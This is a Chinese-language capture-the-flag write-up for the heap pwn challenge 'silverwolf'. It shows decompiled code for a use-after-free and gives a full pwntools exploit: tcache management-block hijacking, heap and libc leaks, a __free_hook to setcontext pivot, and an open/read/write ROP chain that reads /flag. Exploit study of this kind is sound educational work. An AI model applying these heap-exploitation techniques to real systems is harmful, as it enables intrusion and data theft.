一、題目來源
NSSCTF_Pwn_[CISCN 2021 初賽]silverwolf
二、信息蒐集
通過 file 命令查看文件類型:
通過 checksec 命令查看文件開啓的保護機制:
根據題目給的 libc 文件確定 glibc 版本是 2.27。
三、反彙編文件開始分析
程序的開頭能看到設置了沙箱:
__int64 sub_C70()
{
__int64 v0; // rbx
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
v0 = seccomp_init(0);
seccomp_rule_add(v0, 2147418112, 0, 0);
seccomp_rule_add(v0, 2147418112, 2, 0);
seccomp_rule_add(v0, 2147418112, 1, 0);
return seccomp_load(v0);
}
通過工具可以分析出這個沙箱的作用:
ORW 被 ALLOW,那麼本題的是不是和它有關呢?先打個問號。
根據輸出提示,能知道程序的四大功能(exit 就不多説了):
puts("1. allocate");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");
逐一進行分析。
1、allocate
unsigned __int64 allocate()
{
size_t v1; // rbx
void *v2; // rax
size_t size; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]
v4 = __readfsqword(0x28u);
__printf_chk(1, "Index: ");
__isoc99_scanf(&unk_1144, &size);
if ( !size )
{
__printf_chk(1, "Size: ");
__isoc99_scanf(&unk_1144, &size);
v1 = size;
if ( size > 0x78 )
{
__printf_chk(1, "Too large");
}
else
{
v2 = malloc(size);
if ( v2 )
{
qword_202050 = v1;
buf = v2;
puts("Done!");
}
else
{
puts("allocate failed");
}
}
}
return __readfsqword(0x28u) ^ v4;
}
雖然讓我們指定了下標(index),但是根據代碼 if ( !size ) 我們知道:若要成功申請 chunk,那麼 index 就只能為 0。但是,這也就意味着,我們可以一直申請 chunk,只要指定 index 為 0。
三個信息點:
- chunk 的大小是我們自己指定的,但是最大不超過
0x78(size > 0x78)。 - 全局變量
qword_202050會存放我們申請 chunk 的大小(不含 chunk header)。 - 全局變量
buf會指向 chunk 的 user data 部分。
2、edit
unsigned __int64 edit()
{
_BYTE *v0; // rbx
char *v1; // rbp
__int64 v3; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]
v4 = __readfsqword(0x28u);
__printf_chk(1, (__int64)"Index: ");
__isoc99_scanf(&unk_1144, &v3);
if ( !v3 )
{
if ( buf )
{
__printf_chk(1, (__int64)"Content: ");
v0 = buf;
if ( qword_202050 )
{
v1 = (char *)buf + qword_202050;
while ( 1 )
{
read(0, v0, 1u);
if ( *v0 == '\n' )
break;
if ( ++v0 == v1 )
return __readfsqword(0x28u) ^ v4;
}
*v0 = 0;
}
}
}
return __readfsqword(0x28u) ^ v4;
}
根據指定的下標,編輯對應 chunk 的 user data 部分。
兩個關鍵信息:
- 能夠填入的內容的最大大小取決於全局變量
qword_202050。 - 輸入結束,若要退出循環,則需要輸入換行符(
\n)作為結束字符,該換行符最終會被轉變成空字符"\0"。
3、show
unsigned __int64 show()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
__printf_chk(1, (__int64)"Index: ");
__isoc99_scanf(&unk_1144, &v1);
if ( !v1 && buf )
__printf_chk(1, (__int64)"Content: %s\n");
return __readfsqword(0x28u) ^ v2;
}
根據輸入的下標,來輸出對應 chunk 的 user data 部分。
對於 __printf_chk,這裏單看 C 語言代碼可能有點迷糊,可以結合彙編代碼來理解:
.text:0000000000000F0D 018 48 8B 15 44 11 20 00 mov rdx, cs:buf
.text:0000000000000F14 018 48 85 D2 test rdx, rdx
.text:0000000000000F17 018 74 13 jz short loc_F2C
.text:0000000000000F17
.text:0000000000000F19 018 48 8D 35 57 02 00 00 lea rsi, aContentS ; "Content: %s\n"
.text:0000000000000F20 018 BF 01 00 00 00 mov edi, 1
.text:0000000000000F25 018 31 C0 xor eax, eax
.text:0000000000000F27 018 E8 D4 FA FF FF call ___printf_chk
函數原型:
int __printf_chk(int flag, const char *format, ...);
flag:用於指定檢查的級別。通常由編譯器根據FORTIFY_SOURCE的設置自動傳遞。flag > 0時,啓用更嚴格的檢查,例如限制%n的使用。format:格式化字符串,與標準printf的用法一致。...:可變參數列表,與printf的參數一致。
從彙編代碼中可以看出,第三個參數(放在 rdx 中)沿用了之前的 mov rdx, cs:buf。
因此,該函數的 C 語言代碼應該是:
__printf_chk(1,"Content: %s\n", buf);
4、delete
unsigned __int64 del()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]
v2 = __readfsqword(0x28u);
__printf_chk(1, (__int64)"Index: ");
__isoc99_scanf(&unk_1144, &v1);
if ( !v1 && buf )
free(buf);
return __readfsqword(0x28u) ^ v2;
}
根據指定的下標,free 指定的 chunk。但是,free 之後並沒有進行指針置 NULL 的操作,因此存在 UAF 的風險。
四、思路
本題有個特點,就是你還未進行任何操作的時候,程序就已經申請了很多的 chunk 了:
目前來看並沒有可以利用的信息。
本題的思路就是:
- 通過 UAF 泄露堆基址;
- 通過 UAF 修改 Tcache bin 中的 chunk 的 fd 指針為 Tcache 管理塊;(本 Glibc 版本還沒有出現 Safe-Linking 機制)
- 將 Tcache 管理塊 allocate 出來,偽造其中的 count 指針,來欺騙堆管理器(你的 bin 滿了);
freechunk 使之進入 Unsorted bin;- 泄露 libc 基址;
- 因為,有沙箱的存在,因此,打 ORW。(方法:
__free_hook 劫持+setcontext pivot)
五、Poc
1、四大功能的實現
def allocate(p,size,index=b'0'):
p.sendlineafter(b'Your choice: ',b'1')
p.sendlineafter(b'Index: ',index)
p.sendlineafter(b'Size: ',str(size).encode())
def edit(p,content,index=b'0'):
p.sendlineafter(b'Your choice: ',b'2')
p.sendlineafter(b'Index: ',index)
p.sendlineafter(b'Content: ',content)
def show(p,index=b'0'):
p.sendlineafter(b'Your choice: ',b'3')
p.sendlineafter(b'Index: ',index)
def delete(p,index=b'0'):
p.sendlineafter(b'Your choice: ',b'4')
p.sendlineafter(b'Index: ',index)
index 等於 0 的時候,這四個功能才有效果,因此可以設置成默認值。
2、泄露堆基址
申請一個 chunk $\to$ free 掉它 $\to$ 利用 UAF 泄露其 fd 指針的值 $\to$ 通過該值與堆基址的偏移量,得到堆基址。
假設,我們的目標是申請一個 chunk size 為 0x20 的 chunk。
通過動態調試,查看 bin 列表情況:
根據 Tcache bin 的插入採用頭插法和 Tcache bin 採用 LIFO 機制,我們首次申請會得到該鏈表的表頭即上方紅箭頭指向的那個。
那麼,free 之後,對應的鏈表應該還是老樣子,其對應的 fd 指向的就是 0x59313a274790。
現在,我們應該明白,為什麼題目一開始要準備那麼多的 chunk 了吧?
原因就是,在 allocate 操作之後,我們的 free 操作有且僅能有一次。那麼,如果一開始 bins 乾淨,那麼你經過上述操作之後,由於不存在 Safe-Linking 機制,你會得到 你申請的 chunk -> 0 這樣的結果。這你就實現不了堆基址的泄露了。
本部分的 Poc:
allocate(p,0x10)
delete(p)
show(p)
p.recvuntil(b'Content: ')
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
heap_base = (leak >> 12 << 12) - 0x1000
success("heap_base: " + hex(heap_base))
3、劫持 Tcahce 管理塊 + 泄露 libc 基址
我們的目的就是,通過劫持 Tcache 管理塊,欺騙堆管理器説“size 為 0x250”的 Tcache bin 已經滿了,然後再 free 一個 0x250 size 大小的 chunk 就可以成功讓其進入 Unsorted bin,最後就可以照常泄露 libc 基址了。
先將管理塊申請出來:
padding = 0x23
allocate(p,0x70)
delete(p)
edit(p,p64(heap_base+0x10)) # 注:Tcache 的 fd 指針指向的是 user data 部分,因此加上了 0x10。
allocate(p,0x70)
allocate(p,0x70) # 申請到 size 大小為 0x250 的 Tcache 管理塊。
偽造:
payload = b'\x00'*padding + b'\x07'
edit(p,payload)
delete(p)
show(p)
關於 count 數組指針 index 的計算方式(Glibc-2.27):
$$
\text{Index} = \frac{\text{Chunk_Size} - \text{0x20}}{\text{0x10}}
$$
為什麼我們的目標是 0x250 呢?
因為,Tcache 管理塊的大小剛好就是 0x250,而且我們已經申請到了,直接 free 即可讓其進入 Unsorted bin。
如果你已其他的大小為目標,那麼你還得進行一次 allocate 操作,但是你的這個行為同樣也會使得 count --,一來一回等於啥都沒實現。
後面就是基本的泄露步驟了:
p.recvuntil(b'Content: ')
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
offset = 96
libc_base = leak - offset - libc.symbols['main_arena']
success("libc_base: " + hex(libc_base))
4、找 ROP
free_hook = libc_base + libc.symbols["__free_hook"]
read_addr = libc_base + libc.symbols["read"]
write_addr = libc_base + libc.symbols["write"]
setcontext = libc_base + libc.symbols['setcontext'] + 53
pop_rdi = libc_base + 0x215bf
pop_rsi = libc_base + 0x23eea
pop_rdx = libc_base + 0x01b96
pop_rax = libc_base + 0x43ae8
syscall = libc_base + 0xE5965
ret = libc_base + 0x8aa
flag_addr = heap_base + 0x1000
stack_pivot = heap_base + 0x2000
stack_rop = heap_base + 0x20a0
orw_addr1 = heap_base + 0x3000
orw_addr2 = heap_base + 0x3040
orw = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + \
p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + \
p64(syscall)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x3000) + \
p64(pop_rdx) + p64(0x30) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)
5、刷新一下 Tcache 管理塊
payload = b'\x01'*(64)
payload += p64(free_hook) # 0x20
payload += p64(flag_addr) # 0x30
payload += p64(stack_pivot) # 0x40
payload += p64(stack_rop) # 0x50
payload += p64(orw_addr1) # 0x60
payload += p64(orw_addr2) # 0x70
edit(p,payload)
Tcache bin 的頭指針指向的 chunk 就是首先會被我們分配到的 chunk,據此可以進行一些指定。
之後,我們申請指定大小的 chunk,就會出來指定地址的 chunk。
注意,我們只有一次修改的機會(因為後續 allocate 操作會刷新 buf 指針,因而失去對其的控制),而且還要知道我們的申請大小有限。
6、__free_hook 劫持 + setcontext pivot
都是比較模板的操作。
首先,劫持 __free_hook 為 setcontext + 53 的位置:
allocate(p,0x10)
edit(p,p64(setcontext))
其中 setcontext + 53 對應的彙編代碼我們可以通過 IDA 反彙編 libc 文件後找到:
.text:00000000000521B5 000 48 8B A7 A0 00 00 00 mov rsp, [rdi+0A0h]
.text:00000000000521BC -08 48 8B 9F 80 00 00 00 mov rbx, [rdi+80h]
.text:00000000000521C3 -08 48 8B 6F 78 mov rbp, [rdi+78h]
.text:00000000000521C7 -08 4C 8B 67 48 mov r12, [rdi+48h]
.text:00000000000521CB -08 4C 8B 6F 50 mov r13, [rdi+50h]
.text:00000000000521CF -08 4C 8B 77 58 mov r14, [rdi+58h]
.text:00000000000521D3 -08 4C 8B 7F 60 mov r15, [rdi+60h]
.text:00000000000521D7 -08 48 8B 8F A8 00 00 00 mov rcx, [rdi+0A8h]
.text:00000000000521DE -08 51 push rcx
.text:00000000000521DF 000 48 8B 77 70 mov rsi, [rdi+70h]
.text:00000000000521E3 000 48 8B 97 88 00 00 00 mov rdx, [rdi+88h]
.text:00000000000521EA 000 48 8B 8F 98 00 00 00 mov rcx, [rdi+98h]
.text:00000000000521F1 000 4C 8B 47 28 mov r8, [rdi+28h]
.text:00000000000521F5 000 4C 8B 4F 30 mov r9, [rdi+30h]
.text:00000000000521F9 000 48 8B 7F 68 mov rdi, [rdi+68h]
.text:00000000000521F9 ; } // starts at 52180
.text:00000000000521FD ; __unwind {
.text:00000000000521FD 000 31 C0 xor eax, eax
.text:00000000000521FF 000 C3 retn
精髓就在於 mov rsp, [rdi+0A0h],控制了 rsp 指針,我們就相當於實現了 stack pivot,而且由於 rdi 指針受控,rdi 指向的地址受控(可以用來寫 ROP),通過最後的 ret 指令,我們就實現了“棧遷移 $\to$ ROP 觸發”。
而且巧妙的是,setcontext + 53 後面的代碼,並不會都影響到我們的 ROP,因為 ret 在最後,ROP 是最後觸發的,因此會覆蓋一些雜亂的數據。
但是,唯一需要注意的就是:
.text:00000000000521B5 000 48 8B A7 A0 00 00 00 mov rsp, [rdi+0A0h]
……
……
.text:00000000000521D7 -08 48 8B 8F A8 00 00 00 mov rcx, [rdi+0A8h]
.text:00000000000521DE -08 51 push rcx
由於我們已經修改了棧頂指針,那麼這裏的 push 操作就不得不重視,經過 push 操作之後,棧頂中的內容變成了 [rdi+0A8h],如果其中沒有精心構造數據,我們的 ROP 從一開始就夭折了。
但好在,巧就巧在這個位置 [rdi+0A8h] 就在我們存放 ROP 地址( [rdi+0A0h])的後面,我們可以順帶改造一番,通常的做法是將其改為 ret 指令的位置。
接下來,由於 open 函數需要的是地址參數,因此,我們要找個地方寫入文件名:
allocate(p,0x20)
edit(p,b'/flag\x00\x00\x00')
本地測試的時候記得在根目錄備一個 flag 文件。
接下來就是找個地方放 ROP:
allocate(p,0x50)
edit(p,orw[:0x40])
allocate(p,0x60)
edit(p,orw[0x40:])
ROP 比較長,分兩個 chunk 進行存放。
隨着,將 ROP 的地址綁定到觸發位置(偏移 0xa0):
allocate(p,0x40)
edit(p,p64(orw_addr1)+p64(ret))
這裏的
+p64(ret)就完美解決了之前分析過的[rdi+0A8h]的問題。
設定 rdi 並觸發劫持:
allocate(p,0x30)
delete(p)
此時就會自動執行我們佈置好的 ROP,實現 ORW:
7、完整 Poc
from pwn import *
exe = ELF("./silverwolf_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.binary = exe
context(arch="amd64",os="linux",log_level="debug")
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("node4.anna.nssctf.cn",28726)
return r
'''
puts("1. allocate");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");
'''
def allocate(p,size,index=b'0'):
p.sendlineafter(b'Your choice: ',b'1')
p.sendlineafter(b'Index: ',index)
p.sendlineafter(b'Size: ',str(size).encode())
def edit(p,content,index=b'0'):
p.sendlineafter(b'Your choice: ',b'2')
p.sendlineafter(b'Index: ',index)
p.sendlineafter(b'Content: ',content)
def show(p,index=b'0'):
p.sendlineafter(b'Your choice: ',b'3')
p.sendlineafter(b'Index: ',index)
def delete(p,index=b'0'):
p.sendlineafter(b'Your choice: ',b'4')
p.sendlineafter(b'Index: ',index)
def main():
p = conn()
allocate(p,0x10)
delete(p)
show(p)
p.recvuntil(b'Content: ')
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
heap_base = (leak >> 12 << 12) - 0x1000
success("heap_base: " + hex(heap_base))
padding = 0x23
allocate(p,0x70)
delete(p)
edit(p,p64(heap_base+0x10))
allocate(p,0x70)
allocate(p,0x70)
payload = b'\x00'*padding + b'\x07'
edit(p,payload)
delete(p)
show(p)
p.recvuntil(b'Content: ')
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
offset = 96
libc_base = leak - offset - libc.symbols['main_arena']
success("libc_base: " + hex(libc_base))
free_hook = libc_base + libc.symbols["__free_hook"]
read_addr = libc_base + libc.symbols["read"]
write_addr = libc_base + libc.symbols["write"]
setcontext = libc_base + libc.symbols['setcontext'] + 53
pop_rdi = libc_base + 0x215bf
pop_rsi = libc_base + 0x23eea
pop_rdx = libc_base + 0x01b96
pop_rax = libc_base + 0x43ae8
syscall = libc_base + 0xE5965
ret = libc_base + 0x8aa
flag_addr = heap_base + 0x1000
stack_pivot = heap_base + 0x2000
stack_rop = heap_base + 0x20a0
orw_addr1 = heap_base + 0x3000
orw_addr2 = heap_base + 0x3040
orw = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + \
p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + \
p64(syscall)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x3000) + \
p64(pop_rdx) + p64(0x30) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)
success("orw_length: " + hex(len(orw)))
payload = b'\x01'*(64)
payload += p64(free_hook) # 0x20
payload += p64(flag_addr) # 0x30
payload += p64(stack_pivot) # 0x40
payload += p64(stack_rop) # 0x50
payload += p64(orw_addr1) # 0x60
payload += p64(orw_addr2) # 0x70
edit(p,payload)
allocate(p,0x10)
edit(p,p64(setcontext))
allocate(p,0x20)
edit(p,b'/flag\x00\x00\x00')
allocate(p,0x50)
edit(p,orw[:0x40])
allocate(p,0x60)
edit(p,orw[0x40:])
allocate(p,0x40)
edit(p,p64(orw_addr1)+p64(ret))
allocate(p,0x30)
delete(p)
p.interactive()
if __name__ == "__main__":
main()